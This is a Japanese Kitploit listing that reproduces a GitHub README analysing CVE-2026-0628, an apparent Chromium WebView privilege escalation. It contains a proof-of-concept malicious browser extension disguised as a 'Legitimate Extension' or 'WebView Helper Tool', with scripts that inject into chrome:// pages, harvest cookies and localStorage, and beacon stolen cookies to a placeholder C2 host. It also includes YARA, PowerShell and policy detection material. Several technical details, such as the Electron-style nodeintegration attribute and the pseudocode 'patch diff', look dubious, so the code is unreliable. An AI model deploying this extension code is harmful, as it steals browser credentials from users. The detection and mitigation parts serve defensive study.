Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation — CVE-2026-0628(Chromium WebView の権限昇格の脆弱性)の技術的解析。根本原因分析、PoC エクスプロイト、検出ルール、および緩和策を含む。 | Kitploit
ツール/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation
特権昇格脆弱性分析エクスプロイトウェブセキュリティマルウェア分析デジタルフォレンジック
GitHubsastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

CVE-2026-0628(Chromium WebView の権限昇格の脆弱性)の技術的解析。根本原因分析、PoC エクスプロイト、検出ルール、および緩和策を含む。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見るウェブサイト
1198ヶ月前未レビュー

DOI = doi.org/10.5281/zenodo.18413764

ORCID = orcid.org/0009-0007-7728-256X


README.md


# **CVE-2026-0628: Chromium WebView 権限昇格(オリジン偽装)– 技術調査 & 概念実証**

**著者:** Sastra Adi Wiguna (Purple Elite Teaming)
**調査日:** 2026年1月
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8 (High)
**影響を受けるバージョン:** Chromium < 143.0.7499.192
**パッチ状況:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139 で修正済み

---

## **1. 概要**

### **1.1 調査目的**
このリポジトリは、Chromium の WebView ポリシー強制メカニズムにおける**高深刻度の権限昇格脆弱性**である **CVE-2026-0628** を文書化したものです。この脆弱性により、悪意のある拡張機能が**サンドボックス制限をバイパス**し、**特権コンテキスト**(例: `chrome://`)にスクリプトを注入し、任意のコードを実行するための**権限を昇格**させることが可能になります。

この調査は、以下のような**防御セキュリティ目的専用**です:
- **脆弱性分析**
- **検知エンジニアリング**
- **緩和戦略の策定**
- **ペネトレーションテスト(認可された環境のみ)**

### **1.2 免責事項**
- **学術的および防御的な調査専用です。**
- **許可なく本番システムに対して使用しないでください。**
- **適用されるすべての法律および組織のセキュリティポリシーを遵守してください。**
- **直ちにパッチを適用してください:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139。

---

## **2. 技術的詳細**

### **2.1 根本原因**
Chromium の WebView 実装における**不十分なポリシー強制**により、拡張機能が**サンドボックス境界をエスケープ**し、**特権 DOM コンテキスト**にアクセスできるようになります。

**脆弱なフロー:**
1. 悪意のある拡張機能が `manifest.json` で WebView の使用を宣言します。
2. 拡張機能が `<webview>` タグを介して細工された HTML/JS ペイロードを注入します。
3. **WebView ポリシー検証のバイパス** → 特権ページ(例: `chrome://settings`)へのアクセス。
4. 特権コンテキストでの**任意のスクリプト実行**。

**CVSS ベクター:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 エクスプロイトアーキテクチャ**
#### **悪意のある拡張機能テンプレート**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

重要な注入ベクター (payload.js)

class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // 主要なバイパスパラメータ
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

3. 影響評価

攻撃フェーズ技術的影響ビジネス影響CVSS メトリクス
拡張機能のインストールユーザーの同意 → 永続性ソーシャルエンジニアリングベクターUI:R (Required)
WebView バイパスサンドボックスエスケープ → 特権コンテキストセッションハイジャックS:U → C:H/I:H/A:H
スクリプト注入DOM 操作 → データ流出認証情報の窃取PR:N (No Privs)
永続性バックグラウンドスクリプト → C2 ビーコンラテラルムーブメントの準備AC:L (Low Complexity)

4. 検知 & フォレンジック

4.1 悪意のある拡張機能の YARA ルール

rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Sysmon イベントシグネチャ

  • イベント ID 1: chrome.exe → 不審な WebView の作成。
  • イベント ID 3: ネットワーク接続 → 拡張機能 → 外部 C2。
  • レジストリ: HKCU\Software\Google\Chrome\Extensions\[malicious_id]。

5. パッチ分析 & バイパスベクター

5.1 修正版の差分 (Chrome 143.0.7499.192+)

// 脆弱なバージョン (pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // 脆弱なポリシーチェック
}

// 修正版
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy の強化
  }
}

5.2 緩和策の実装

エンタープライズ GPO テンプレート

{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

ランタイム検知スクリプト (PowerShell)

# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

6. 概念実証 (PoC) エクスプロイト

6.1 ディレクトリ構造

cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 コアファイル

manifest.json (バイパスマニフェスト)

{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (永続性 & C2 ビーコン)

chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js (WebView トリガー & 注入)

(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
  function stealPrivilegedData() {
    return {
      localStorage: Object.fromEntries(Object.entries(localStorage)),
      cookies: document.cookie,
      extensions: chrome.runtime.getManifest?.()
    };
  }
  setTimeout(() => {
    createMaliciousWebView('chrome://new-tab-page/');
  }, 1000);
})();

7. ラボ再現

7.1 要件

  • 脆弱な Chrome: 143.0.7499.191
  • OS: Windows 10/11 (VM 推奨)
  • ツール: Burp Suite (プロキシ)、REMnux (フォレンジック)
ツールをダウンロード